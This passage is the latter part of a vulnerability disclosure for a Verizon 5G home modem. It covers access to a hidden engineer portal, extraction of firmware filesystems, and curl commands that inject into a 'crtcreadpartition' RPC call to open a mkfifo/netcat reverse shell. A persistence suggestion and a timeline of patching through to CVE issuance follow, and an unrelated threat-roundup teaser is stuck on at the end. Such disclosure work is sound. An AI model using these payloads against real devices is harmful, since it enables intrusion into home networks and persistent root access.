Putting a breakpoint before the params.args is encrypted,  the request is for \[{"ObjName":"Device.Users.User."}\] and that the response contains 4 JSON Objects, each titled "cpe-User-". 1 is "root", 2 is "jrpc", 3 is the consumer user "admin", and 4 is "verizon".  Going back to the login screen, there is a hidden field named "srp\_username" that holds the value of "admin".  Removing the type="hidden" property on that field and using the engineering password from above allows for login as the Verizon user,  but no further functionality was immediatley exposed when logged in.  Note that you can also breakpoint line 140 of cgi-bin/luci in the debugger, and in the console issue "username = encrypt.encrypt("verizon")" to perform the same mod. 

However, once the account was logged out again, it redirects to a new endpoint: /cgi-bin/luci/verizon/engineer. This time, the page title is "Engineer Sign In",  and using the same engineer password redirects to a new environment with new functionality.  A toggle allows the user to disable the Software Update (useful to 'hold' the device at a vulnerable version), run a speed test, edit the Wifi settings, and more. Additionally, none of these fields trigger the warning seen earlier. Like the engineer portal on the ODU, consumers are not expected to access this section, and thus fields trust any input provided.

As above, the next step was to explore the IDU's file system. Initially it seemed like any attack on the IDU was going to be blind, but a second review of the OMADM.log file during the update process revealed the following line. 

The WNC\_SIGNED\_LVSKIHP.32bit.nand.lab2.3.4.66.162.210520\_1031.bin file exists in the update firmware.  However, a different approach was required to extract this file system. The previous trick to mount the UBI against a nandsim wasn't working,  so instead the "ubi\_reader" tool from https://github.com/jrspruitt/ubi\_reader was used. First, we extract the UBI image with:

    dd if=WNC_SIGNED_LVSKIHP.32bit.nand.lab2.3.4.66.162.210520_1031.bin of=idu.ubi bs=1 skip=3328688
    

Then using the command "ubireader\_extract\_images idu.ubi" extracted three files into the directory "ubifs-root/idu.ubi", one of which was named "img-1221542750\_vol-ubi\_rootfs.ubifs". blkid identifies this as a squashfs image. Using:

    sudo unsquashfs ubifs-root/idu.ubi/img-1221542750_vol-ubi_rootfs.ubifs
    

The root filesystem for the IDU side is revealed.  Hunting through the file system, we find a configuration file for the lighttpd daemon, and it identifies an interface listening on port 48443, named "crtc".  Amazingly, it accepts a set of keys that are hardcoded into the firmware, in the same directory. Reviewing the /usr/lib/lua/luci/crtc.lua file, a function named "crtcreadpartition" was identified as not santizing its parameters. 

In order to get access to this function, we must first enable the crtcmode of the modem. To do so, we issue the following curl command:

    curl -m 10 -s -k https://10.0.0.2:48443/cgi-bin/luci/rpc/crtc --cacert ca.pem --cert server.pem -X POST -d '{"jsonrpc":"2.0","id":1,"method":"crtcmode","params":["enable"]}'
    

This command also benefits us in that it automatically enables telnet and USB on the ODU side.  An injection payload was crafted of the format:

    curl -m 10 -s -k https://10.0.0.2:48443/cgi-bin/luci/rpc/crtc --cacert ca.pem --cert server.pem -X POST -d '{"jsonrpc":"2.0","id":1,"method":"crtcreadpartition","params":["; <payload>;#"]}'. 
    

After a few different approaches were attempted, the mkfifo method of creating a reverse shell was identified as a successful approach. As the ODU had already been rooted, it seemed a good target for connecting back to, as it is trusted by the IDU and thus it was unlikely that firewall rules would interfere. The final payload was: 

    curl -m 10 -s -k https://10.0.0.2:48443/cgi-bin/luci/rpc/crtc --cacert ca.pem --cert server.pem -X POST -d '{"jsonrpc":"2.0","id":1,"method":"crtcreadpartition","params":["; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 11223 >/tmp/f ;#"]}'
    

And the command run on the ODU was:

Note that whoami does not exist on this system, but it is running as the root user. Persistence can be established through any of a myriad of ways. We suggest a reverse shell in the crontab file.

**Improvements**

Improvements can be seen in the codebases for both the InDoorUnit (IDU):  And in the OutDoorUnit (ODU): 

**Timeline**

*   2021-12-25 : Vulnerabilities discovered.
*   2021-12-29 : Verizon contacted.
*   2022-01-12 : No response from Verizon, report sent to manufacturer: Wistron NeWeb Corp.
*   2022-01-13 : Verizon acknowledged report.
*   2022-01-27 : Update requested.
*   2022-02-03 : Update requested. Verizon responds, no substantive update.
*   2022-02-15 : Modem receives firmware update 5.33.117.1. Still vulnerable to attack chain.
*   2022-02-23 : Verizon requested screenshots of exploits in action. Provided same day.
*   2022-02-26 : Notified Verizon that the Engineering password was now in the wild on a Reddit post. Verizon acknowledged 2/28/22.
*   2022-03-25 : Requested update, and informed that vulnerabilities were submitted to MITRE for CVE issuance.
*   2022-04-27 : Modem receives firmware downgrade back to 3.33.101.1. Requested update from Verizon.
*   2022-05-02 : Received CVEs for vulnerabilities. Provided to Verizon, as well as indication that report would be released July 1st. Verizon indicated end of May for remediation.
*   2022-06-01 : Update requested.
*   2022-06-14 : Modem receives firmware update 5.33.141.1. All vulnerabilities are patched.
*   2022-06-28 : Verizon provided confirmation from security team that all vulnerabilities have been resolved.
*   2022-07-01 : Public release.

CVE-2022-28377: SecWriteups/readme.md at main · JousterL/SecWriteups

Today, Talos is publishing a glimpse into the most prevalent threats we've observed between July 1 and July 8. As with previous roundups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key behavioral characteristics,...


[[ This is only the beginning! Please visit the blog for the complete entry ]]

Tag

#acer